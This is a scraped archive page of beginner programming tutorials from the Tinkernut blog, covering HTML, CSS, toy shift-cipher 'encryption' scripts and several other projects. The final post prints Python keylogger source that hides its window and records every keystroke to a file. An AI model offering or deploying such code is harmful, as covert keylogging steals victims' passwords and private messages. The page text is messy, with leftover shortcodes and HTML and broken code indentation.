Programming Tips – Page 2

Make A Complete Website From Scratch – Part 2: CSS

January 21, 2012 // davisde // Programming Tips Tags: basics, beginner, programming 23 Responses
[vc_row][vc_column width=”2/3″][vc_separator][venera_framed_image content_type=”video” css_animation=”appear” frame_type=”browser” slider_engine=”flexslider” video_link=”https://www.youtube.com/watch?v=L8R2x7bEJUo” browser_url=”https://www.youtube.com/watch?v=L8R2x7bEJUo”][vc_separator][/vc_column][vc_column width=”1/3″][/vc_column][/vc_row][vc_row][vc_column width=”2/3″][vc_tabs][vc_tab title=”About This Project” tab_id=”1402713028-1-39e9a4-2f88123b-7794ad8b-6a1d”][vc_column_text]

Many people on the internet aren’t familiar with how to make a decent website on the internet. In an effort to remedy that, this episode kicks off the first of a five part series explaining the different aspects of building a good looking, database driven website from scratch.

In this video we will be looking at CSS bascis and how to apply it to the HTML website we created in Part 1

Here’s a list of the other tutorials in the series:
[/vc_column_text][/vc_tab][vc_tab title=”Code” tab_id=”1402753910272-3-8123b-7794ad8b-6a1d”][vc_button title=”Download Code Sample” target=”_blank” icon=”none” size=”btn-huge” href=”http://www.tinkernut.com/demos/305_css/305_css.zip”][vc_column_text]

CSS Syntax

The basic syntax of CSS begins with the style name, followed by an equals sign(=), then they style property and the style value. In it’s simplest form, a CSS style script can be added into the tag itself like this:
```
<a style=text-decoration:none href="http://www.google.com">Google</a>
```
The “text-decoration”, in this example, is known as the style property. There are lots of different sytle properties that go with different types of tags. The “none” in this example is the value given for the style property. In this case, we are saying that we don’t want any text-decoration. Overall, the inline syntax of CSS is very similar to HTML tag attributes.

CSS Boxes

When it comes to structure, CSS uses boxes to accomplish a pages layout. This has come to replace basic HTML tables.

Final Code

After completeing the tutorial, you should have something similar to the code below. Please use this code for reference and correction. There are three files, the first one is index.html, which is the HTML code for the main page in your website. The second one is style.css, which is the CSS code referenced in the index.html webpage.

INDEX.HTML
```
<html>
	<head>
		<title>My Data</title>
		<link rel="stylesheet" type="text/css" href="style.css" />
	</head>
	<body>		
		<div class="main">
			<div class="row1">
				<img src="logo.jpg"/>
			</div>
			<div class="row2">
				<div class="row2col1">
					Navigation
					<hr align="left" width=75%>						
						<ul>
							<li><a href="about.html">About Me</a></li>
							<li><a href="http://www.google.com">Google</a></li>
						</ul>
				</div>
				<div class="row2col2"><p class="welcome" >Welcome to my data page!</p><p class="content" >This page is a work in progress that will eventually show places for data input, as well as data recall. Check back here for updates and more information! Thanks for visiting!</p>
				</div>
			</div>

		</div>
		
	</body>
</html>
```
STYLE.CSS
```
b{
	color:#000000;
}
a{
text-decoration:none;
color:grey;
}
img{
display:block;
margin:auto;
}
p.welcome {
	text-align:center;
	font-family: “verdana”;
	font-size:1.875em;
	color:white;
	font-style:bold;				
}
p.content {
	font-family: “verdana”;
	font-size:1em;
	color:white;
	font-style:italic;				
}
div.main{
	width:50%;
	margin:auto;
	background:#251111;
}
div.row1{
width:100%;
}
div.row2{
width:100%;
}
div.row2col1{
	float:left;
	margin:0;
	padding:1em;
	color:white;
}
div.row2col2{
	margin-left:25%;
	background-color:#0A1616;
	padding:1em;
	border:15px solid #251111;
}
body{
	background-color:#393635;
	color:white;
}
```
[/vc_column_text][/vc_tab][vc_tab title=”Important Links” tab_id=”1402753981900-3-10123b-7794ad8b-6a1d”][vc_column_text] Help support my channel: http://www.patreon.com/tinkernut Follow Tinkernut! Google + Facebook Twitter [/vc_column_text][/vc_tab][/vc_tabs][/vc_column][vc_column width=”1/3″][/vc_column][/vc_row]

Make A Complete Website From Scratch – Part 1: HTML

January 13, 2012 // davisde // Programming Tips Tags: basics, beginner, programming 37 Responses

[vc_row][vc_column width=”2/3″][vc_separator][venera_framed_image content_type=”video” css_animation=”appear” frame_type=”browser” slider_engine=”flexslider” video_link=”https://www.youtube.com/watch?v=6Ct6emxVR9w” browser_url=”https://www.youtube.com/watch?v=6Ct6emxVR9w”][vc_separator][/vc_column][vc_column width=”1/3″][/vc_column][/vc_row][vc_row][vc_column width=”2/3″][vc_tabs][vc_tab title=”About This Project” tab_id=”1402713028-1-39e9a4-2f88123b-7794″][vc_column_text]

Many people on the internet aren’t familiar with how to make a decent website on the internet. In an effort to remedy that, this episode kicks off the first of a five part series explaining the different aspects of building a good looking, database driven website from scratch.

In Part 1 of this series, we will take a look at HTML basics.

Here’s a list of the other tutorials in the series:

[/vc_column_text][/vc_tab][vc_tab title=”Code” tab_id=”1402753910272-3-8123b-7794″][vc_button title=”Download Code Sample” target=”_blank” icon=”none” size=”btn-huge” href=”http://www.tinkernut.com/demos/304_html/304_html.zip”][vc_column_text]

HTML Basics

HTML stands for Hyper Text Markup Language and provides the backbone structure for webpages. Not to be confused with a programming language, HTML is a markup language that was designed to link documents and media together in an interactive way.

HTML is standardized through W3C and the latest version is HTML 4.01 (see http://www.w3.org/TR/html401/).

HTML is evolving constantly and presently there are 2 important variations eg XHTML and HTML5.

XHTML (eXtensibleHTML) is a derivation of HTML and XML. HTML5 is the fifth revision of the HTML standard. (see http://en.wikipedia.org/wiki/HTML5.)

HTML/XHTML/HTML5 have different Doctype Definitions (DTD’s) to be identified by browsers. For standards compliant HTML a web page needs a valid DTD (at the top of the html page).
HTML 4.01 strict DTD :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

"http://www.w3.org/TR/html4/strict.dtd">

For information on valid DTD’s, see http://www.w3.org/QA/2002/04/valid-dtd-list.html.

HTML Editors

There is a large selection of software available on the market (free and paid) directed towards website creation. A majority of website creation software is called What You See Is What You Get or WYSIWYG. A good example of commercial software is Adobe’s Dreamweaver, while a good example of open source software is Mozilla’s Kompozer software. Despite the availability of web design software, it is not required to create a website. A website can be created using a basic text editor and a web browser for previewing.

HTML Structure

HTML utilizes an element tagging structure. This means that every element of the code is tagged so that the web browser knows how to translate it. With a few exceptions, each tag generally comes in pairs: and opening tag and a closing tag. In between each tag is the content that is being tagged. Certain tags can also contain attributes, which enhances the properties of the tagged content.

Text Formatting

HTML text formatting generally takes place in the body of the HTML code. It includes text structure, such as paragraphs, lists, font color, bold, italicizing, and underlining. The table lists a few of the commonly used text formatting tags, but you can find a more extensive list here

Formatting Tag	Formatting Name	Description	Example	Output
<p>	Paragraph	Designates the beginning and ending of a paragraph	<p>This is my paragraph</p>	This is my paragraph
<b>	Bold	Makes the tagged font bold.	<b>This is my paragraph</b>	This is my paragraph
<i>	Italics	Italicizes the tagged font.	<i>This is my paragraph</i>	This is my paragraph
<u>	Underline	Underlines the tagged font.	<u>This is my paragraph</u>	This is my paragraph
<ul>	Unorganized List	Creates a bulleted list. MUST be coupled with the <li> tag	<ul> <li>List item 1</li> <li>List item 2</li> </ul>	List item 1 List item 2
<ol>	Organized List	Creates a numbered list. MUST be coupled with the <li> tag	<ol> <li>List item 1</li> <li>List item 2</li> </ol>	List item 1 List item 2
<li>	Organized List	Creates a numbered list. MUST be coupled with either the <ul> or <ol> tags	<ol> <li>List item 1</li> <li>List item 2</li> </ol>	List item 1 List item 2

Attributes

For a list of commonly used attributes, visit the attributes page. HTML attributes are found inside of tags and help to enhance the properties of the tagged element. Attributes follow the format of “attribute name” followed by a “=” and then the attribute value surrounded by quotes. Here’s an example

<body bgcolor = “blue”>Not all tags allow for attributes, and not all attributes are compatible with all tags. The type of attribute available for a tag depends on what type of tag it is. For example, an image tag allows for source, width, height, and alt tags, all of which help format and enhance the picture

<img src=”picture.jpb” width=”150″ height=”50″ alt=”My Picture”/>Because those attributes are specific to an image, none of them will work with a link tag. Instead, a link tag has it’s own set of attributes: hyperlink reference, target, and name

<a href=”mypage.html” target=”_blank” type=”mypage”>Go to My Page </a>

Tables

For table attributes (bgcolor, images, rowspan, colspan), visit the table page. There are many ways to organize the layout of a webpage using different scripting techniques, but the best way to do it using solely HTML is through the use of tables. While they are very useful, tables can be exceedingly difficult to use depending on how complicated your layout is. A tables structure has to follow certain tagging guidelines in order for it to work properly. These guidelines are as follows:

Each table begins and ends with the <table></table> tags.
1. Before the table will work, you must have at least one row and one column.
Nested between the table tags are the row tags <tr></tr>.
1. You must have at least one row in each table in order for it to function properly.
2. Each row must have at least one column nested within it.
Nested between the row tags are data cell tags <td></td>.
1. You must have at least one data cell in each row.
2. You must have the same ammount of cells in each row (unless using colspan or rowspan attributes)
3. Although these are commonly know as “column” tags, they represent cells. A cell can exist without a column, but a column cannot exist without a cell.

Here is an example of a two cell, two row table:

<table>

<tr>

<td>row 1, col 1</td>

<td>row 1, col 2</td>

</tr>

<tr>

<td>row 2, col 1</td>

<td>row 2, col 2</td>

</tr>

</table>

[/vc_column_text][/vc_tab][vc_tab title=”Important Links” tab_id=”1402753981900-3-10123b-7794″][vc_column_text] Help support my channel: http://www.patreon.com/tinkernut Follow Tinkernut! Google + Facebook Twitter [/vc_column_text][/vc_tab][/vc_tabs][/vc_column][vc_column width=”1/3″][/vc_column][/vc_row]

How To Make Your Own Encryption

December 10, 2011 // davisde // Programming Tips Tags: decode, decrypt, encode, encrypt, hacking, privacy, programming, script, Scripting, security, vb 62 Responses

****UPDATE: DOWNLOAD THE PROJECT FILES****

This video lays out the steps for creating a very simple encryption and decryption program using free tools. The programming language we will be using is VB Script. See if you can decrypt this text:

wkjlue#vnrro#huxwxi#uxr\

The code below is for the encrypting program:

<—–Start copying below this line—–>

‘SIMPLE VB ENCRYPTION PROGRAM
‘Create a dialogue box that asks for the text to encode
set x = WScript.CreateObject(“WScript.Shell”)
mySecret = inputbox(“Enter text to be encoded”)
‘Reverse the submitted text
mySecret = StrReverse(mySecret)
‘Open up an instance of Notepad to print the results after waiting for 1 second
x.Run “%windir%\notepad”
wscript.sleep 1000
x.sendkeys encode(mySecret)’This function encodes the text by advancing each character 3 letters
function encode(s)
For i = 1 To Len(s)
newtxt = Mid(s, i, 1)
newtxt = Chr(Asc(newtxt)+3)
coded = coded & newtxt
Next
encode = coded
End Function

<—-Stop copying above this line——>

<—–Start copying below this line—–>

‘SIMPLE VB DECRYPTION PROGRAM
‘Create a dialogue box that asks for the text to encode
set x = WScript.CreateObject(“WScript.Shell”)
mySecret = inputbox(“Enter text to be encoded”)
‘Reverse the submitted text
mySecret = StrReverse(mySecret)
‘Open up an instance of Notepad to print the results after waiting for 1 second
x.Run “%windir%\notepad”
wscript.sleep 1000
x.sendkeys encode(mySecret)’This function encodes the text by advancing each character 3 letters
function encode(s)
For i = 1 To Len(s)
newtxt = Mid(s, i, 1)
newtxt = Chr(Asc(newtxt)-3)
coded = coded & newtxt
Next
encode = coded
End Function

<—-Stop copying above this line——>

<—–Start copying below this line—–>

–Applescript encryption program

set words_to_encrypt to “I want to encrypt sentences. Not just words!”
set multiplier to 5
set charList to {“a”, “b”, “c”, “d”, “e”, “f”, “g”, “h”, “i”, “j”, “k”, “l”, “m”, “n”, “o”, “p”, “q”, “r”, “s”, “t”, “u”, “v”, “w”, “x”, “y”, “z”,”A”, “B”, “C”, “D”, “E”, “F”, “G”, “H”, “I”, “J”, “K”, “L”, “M”, “N”, “O”, “P”, “Q”, “R”, “S”, “T”, “U”, “V”, “W”, “X”, “Y”, “Z”, “1”, “2”, “3”,”4″, “5”, “6”, “7”, “8”, “9”, “0”, ” “, “~”, “!”, “@”, “#”, “$”, “%”, “^”, “&”, “*”, “(“, “)”, “_”, “+”, “{“, “}”, “|”, “:”, “\””, “<“, “>”, “?”, “`”, “-“,”=”, “[“, “]”, “\\”, “;”, “‘”, “,”, “.”, “/”, “a”}considering case
–get a list of numbers for the words corresponding to the item numbers of the characters in charList
set p_letter_list to text items of words_to_encrypt
set p_num_list to {}
repeat with i from 1 to (count of p_letter_list)
set this_letter to item i of p_letter_list
repeat with j from 1 to count of charList
set this_char to item j of charList
if this_letter is this_char then
set end of p_num_list to j
exit repeat
end if
end repeat
end repeat
–encrypt the numbers
set modulus to count of charList
set c_num_list to {}
repeat with i from 1 to (count of p_num_list)
set p_num to item i of p_num_list
set c_num to ((p_num * multiplier) mod modulus)
set end of c_num_list to c_num
end repeat
–get the characters for the encrypted numbers corresponding to the characters in charList
set c_letter_list to {}
repeat with i from 1 to (count of c_num_list)
set this_item to item i of c_num_list
set end of c_letter_list to (item this_item of charList)
end repeat
–coerce the encrypted characters into a string
set c_string to c_letter_list as string
end considering

<—-Stop copying above this line——>
Make A Free Flash Website From Scratch

April 27, 2011 // davisde // Featured Articles, Programming Tips Tags: adobe, basic, create, design, flash, free, guide, interactive, internet, make, multimedia, project, site, tinkernut, tips, tricks, tutorial, web, website 17 Responses

In this episode you will learn how to create a Flash website from scratch using completely free software. Here is what we will be creating:
http://www.tinkernut.com/demos/279_flash_site/index.html

Links used in this video:
Project Files – http://http://www.tinkernut.com/demos/279_flash_site/279_flash_site.zip
Adobe Rome – http://rome.adobe.com
Awesome HTML5 Video Trick

March 22, 2011 // davisde // Programming Tips Tags: chroma, coding, free, green, html, html5, multimedia, player, programming, screen, streaming, Video, web, website 8 Responses

Create a free chroma key effect using HTML5 and canvas.

LINKS:
Live example – http://www.tinkernut.com/demos/273_chroma/video_chroma.html
Project Files – www.tinkernut.com/demos/273_chroma/html5_chroma.zip
HTML5 video tutorial –
http://www.youtube.com/watch?v=lZVFUQOCQWI</a><br /> Decimal color values – <a href="http://html-color-codes.com/rgb.html">http://html-color-codes.com/rgb.html</a></p> <p>OTHER COOL EFFECTS:<br /> Black & White, Embossed, and more – <a href="http://html5doctor.com/video-canvas-magic">http://html5doctor.com/video-canvas-magic</a><br /> Blowing up video: <a href="http://craftymind.com/factory/html5video/CanvasVideo.html">http://craftymind.com/factory/html5video/CanvasVideo.html</a><br /> Rotating video: <a href="http://craftymind.com/factory/html5video/CanvasVideo.html">http://craftymind.com/factory/html5video/CanvasVideo.html</a><br /> Video Background: <a href="http://html5doctor.com/demos/video-canvas-magic/demo1.html">http://html5doctor.com/demos/video-canvas-magic/demo1.html</a></p> </div> </div> </li> <li class="row clear post-2551 post type-post status-publish format-standard hentry category-programming-tip tag-coding tag-html tag-html5 tag-multimedia tag-player tag-programming tag-streaming tag-video tag-web tag-website" id="article_2551"> <div class="col col-12 tablet-full mobile-full"> <a class="post-title" href="https://www.tinkernut.com/how-to-make-an-html5-video-player-in-under-5-minutes/"><h3>How to make an HTML5 video player in under 5 minutes</h3></a> <h4 class="post-meta"> <span class="enbold"> <time datetime="2011-03-22T10:04:58-05:00">March 22, 2011</time> </span> // <span class="enbold">davisde</span> // <a href="https://www.tinkernut.com/category/all-projects/programming-tip/" rel="category tag">Programming Tips</a> <span class="hidden">Tags: <a href="https://www.tinkernut.com/tag/coding/" rel="tag">coding</a>, <a href="https://www.tinkernut.com/tag/html/" rel="tag">html</a>, <a href="https://www.tinkernut.com/tag/html5/" rel="tag">html5</a>, <a href="https://www.tinkernut.com/tag/multimedia/" rel="tag">multimedia</a>, <a href="https://www.tinkernut.com/tag/player/" rel="tag">player</a>, <a href="https://www.tinkernut.com/tag/programming/" rel="tag">programming</a>, <a href="https://www.tinkernut.com/tag/streaming/" rel="tag">streaming</a>, <a href="https://www.tinkernut.com/tag/video/" rel="tag">Video</a>, <a href="https://www.tinkernut.com/tag/web/" rel="tag">web</a>, <a href="https://www.tinkernut.com/tag/website/" rel="tag">website</a></span> <span class="post-comments"><a href="https://www.tinkernut.com/how-to-make-an-html5-video-player-in-under-5-minutes/#comments">36 Responses</a></span> </h4> <hr> <div class="post-content"> <div class="wpw-fp-follow-post-wrapper wpw-fp-follow-btn-wrapper"> </div><p><center><center><iframe loading="lazy" src="http://www.youtube.com/embed/lZVFUQOCQWI" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen">

Learn how to code an HTML5 video player in under 5 minutes and make it so that it plays on any browser!

View the sample (You can attain the source code for this project by viewing the HTML source in the webpage listed below.):
http://www.tinkernut.com/demos/html5/video.html
How To Make An Operating System

August 2, 2010 // davisde // Programming Tips Tags: boot, box, code, create, linux, mac, make, operating, os, programming, system, virtual, windows, write, xp 43 Responses

In this episode, gigafide shows you how to create our own operating system using the Assembly programming language.

Project Files:
http://www.tinkernut.com/demos/248_os/tinkeros.zip

Learn Assembly:
http://en.wikipedia.org/wiki/Assembly_language
http://www.drpaulcarter.com/pcasm/
http://www.xs4all.nl/~smit/asm01001.htm
http://joelgompert.com/OS/TableOfContents.htm

Operating System Credit/Reference:
http://mikeos.berlios.de

Virtual Box:
http://www.virtualbox.org

Disk Images:
http://www.allbootdisks.com/download/95.html

NASM:
http://nasm.sourceforge.net/index.php
How To Make An Atari Game

January 5, 2010 // davisde // Gaming, Programming Tips Tags: atari, basic, beginners, games, Gaming, guide, pacman, programming, tinkernut, tips, tricks, tutorial 39 Responses

The basis of this tutorial is to provide an introductory look at programming in BASIC. Here, we’ll be using Batari Basic to create an Atari 2600 game that’s playable on most Atari emulators.

You can download Visual BBasic from here- http://www.tinkernut.com/demos/219_atari/visual_bbasic.exe

You can download my sample game and source code from here – http://www.tinkernut.com/demos/219_atari/tinkernut_world.zip
How To Make An RSS Feed

October 13, 2009 // davisde // Programming Tips, Web Tips Tags: itunes, podcast, programming, rss, website 11 Responses

This video shows you how to make an RSS feed both from coding and using freeware.

How To Make A Keylogger

September 11, 2009 // davisde // Hacks, Programming Tips Tags: computer, hack, hacking, keyboard, keylogger, programming, python, scripts, tinkernut, tips, tricks, tutorial 38 Responses

KEYLOGGER SOURCECODE AND

– Download Python: http://www.python.org/

– Download Pyhook: pyhook.sourceforge.net

– Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

SOURCE:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
 if event.Ascii==5:
        
_exit(1)

 if event.Ascii != 0 or 8:
 f=open('c:output.txt','r')
       
 buffer=f.read()
 f.close()
        
f=open('c:output.txt','w')
 keylogs=chr(event.Ascii)
       
 if event.Ascii==13:
 keylogs='/n'
 buffer += 
keylogs
 f.write(buffer)
 f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Make A Complete Website From Scratch – Part 2: CSS

January 21, 2012 // davisde // Programming Tips Tags: basics, beginner, programming 23 Responses

CSS Syntax

CSS Boxes

Final Code

Make A Complete Website From Scratch – Part 1: HTML

January 13, 2012 // davisde // Programming Tips Tags: basics, beginner, programming 37 Responses

HTML Basics

HTML Editors

HTML Structure

Tags

Text Formatting

Attributes

Tables

How To Make Your Own Encryption

December 10, 2011 // davisde // Programming Tips Tags: decode, decrypt, encode, encrypt, hacking, privacy, programming, script, Scripting, security, vb 62 Responses

Make A Free Flash Website From Scratch

April 27, 2011 // davisde // Featured Articles, Programming Tips Tags: adobe, basic, create, design, flash, free, guide, interactive, internet, make, multimedia, project, site, tinkernut, tips, tricks, tutorial, web, website 17 Responses

Awesome HTML5 Video Trick

March 22, 2011 // davisde // Programming Tips Tags: chroma, coding, free, green, html, html5, multimedia, player, programming, screen, streaming, Video, web, website 8 Responses

How To Make An Operating System

August 2, 2010 // davisde // Programming Tips Tags: boot, box, code, create, linux, mac, make, operating, os, programming, system, virtual, windows, write, xp 43 Responses

How To Make An Atari Game

January 5, 2010 // davisde // Gaming, Programming Tips Tags: atari, basic, beginners, games, Gaming, guide, pacman, programming, tinkernut, tips, tricks, tutorial 39 Responses

How To Make An RSS Feed

October 13, 2009 // davisde // Programming Tips, Web Tips Tags: itunes, podcast, programming, rss, website 11 Responses

How To Make A Keylogger

September 11, 2009 // davisde // Hacks, Programming Tips Tags: computer, hack, hacking, keyboard, keylogger, programming, python, scripts, tinkernut, tips, tricks, tutorial 38 Responses